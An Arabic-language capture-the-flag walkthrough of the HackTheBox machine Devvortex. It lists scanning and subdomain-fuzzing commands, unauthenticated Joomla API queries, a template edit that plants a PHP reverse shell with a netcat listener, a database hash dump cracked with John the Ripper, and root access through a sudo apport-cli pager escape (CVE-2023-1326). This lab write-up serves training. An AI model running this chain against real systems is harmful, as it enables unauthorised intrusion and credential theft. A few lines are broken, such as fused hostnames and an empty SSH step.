
جولة HackTheBox Devvortex التي تغطي استكشاف النطاقات الفرعية، وتعداد Joomla API، وقشرة ويب قائمة على القوالب، وكسر تجزئة bcrypt، وتصعيد الصلاحيات عبر Apport-CLI CVE-2023-1326.
شرح تقني شامل يوثّق عملية اختراق جهاز Devvortex على منصة HackTheBox. يوضح هذا المسار استكشاف النطاقات الفرعية (Subdomain Fuzzing)، وتعداد واجهة Joomla API، وتعديل القوالب (Template Modification) للوصول الأولي، واستخراج وتكسير تجزئات قاعدة البيانات (Database Hash Extraction & Cracking) للتحرك الجانبي، واستغلال Apport-CLI (CVE-2023-1326) لتصعيد الصلاحيات إلى root.
devvortex.htbdev.devvortex.htbapport-cli).تم إجراء اكتشاف سريع لمنافذ TCP عبر جميع المنافذ:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
تم تنفيذ فحص لاحق لاكتشاف الخدمات والإصدارات على المنافذ المفتوحة المحددة:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
أضف نطاق الهدف الأساسي إلى جدول تحليل أسماء المضيفين المحلي:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
استكشاف المضيفين الافتراضيين لتحديد أصول ويب إضافية:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
النتيجة: تم اكتشاف dev.devvortex.htb. تمت إضافة dev.devvortex.htb إلى /etc/hosts.
تعداد المسارات على المضيف الافتراضي المكتشف حديثًا:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
النتيجة: تم اكتشاف نقطة النهاية /administrator، مما كشف عن بوابة مصادقة إدارية لـ Joomla.
استكشاف نقاط النهاية العامة التي تكشف عنها واجهة Joomla REST API لجمع مقاييس التطبيق والمستخدمين الحساسة:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
باستخدام بيانات الاعتماد المكتشفة أثناء التعداد، سجّل الدخول إلى بوابة /administrator الخاصة بـ Joomla:
انتقل إلى System > Site Templates.
اختر القالب النشط وافتح error.php.
استبدل محتويات error.php بحمولة PHP reverse shell قياسية.
قم بتهيئة مستمع netcat محلي:
Bash
nc -lvnp 4444
قم بتشغيل تنفيذ error.php عبر طلب صفحة غير موجودة أو الوصول إلى الملف مباشرة.
بمجرد اتصال الـ shell كمستخدم www-data، أنشئ جلسة PTY تفاعلية:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
ادخل إلى قاعدة بيانات MySQL المحلية باستخدام بيانات الاعتماد المستخرجة من ملفات إعدادات الويب:
Bash
mysql -u lewis -p
استعلم عن جدول المستخدمين لتحديد تجزئات بيانات الاعتماد المخزنة:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
استخرج تجزئة كلمة مرور bcrypt للمستخدم logan إلى ملف محلي:
Bash
nano hash.txt
قم بتكسير التجزئة باستخدام John the Ripper مع rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
أنشئ جلسة SSH دائمة كمستخدم logan باستخدام بيانات الاعتماد المكسورة:
Bash
Bash
cat user.txt
افحص الملفات التنفيذية المسموح بها للمستخدم logan:
Bash
sudo -l
المخرجات: يمكن للمستخدم تشغيل /usr/bin/apport-cli بصلاحيات root.
تحقق من الإصدار المثبّت من apport-cli:
Bash
apport-cli --version
افحص /var/crash بحثًا عن ملفات التقارير الموجودة. إذا كانت فارغة، قم بإنشاء ملف انهيار يدويًا:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
قم بتشغيل apport-cli على ملف الانهيار المُنشأ باستخدام sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
اضغط على v لـ View report.
عندما يقوم المُرقّم (less) بتحميل المحتوى، اخرج إلى shell النظام عبر إدخال:
Plaintext
!/bin/bash
تحقق من رفع الصلاحيات إلى root:
Bash
whoami
# Output: root
Bash
cat /root/root.txt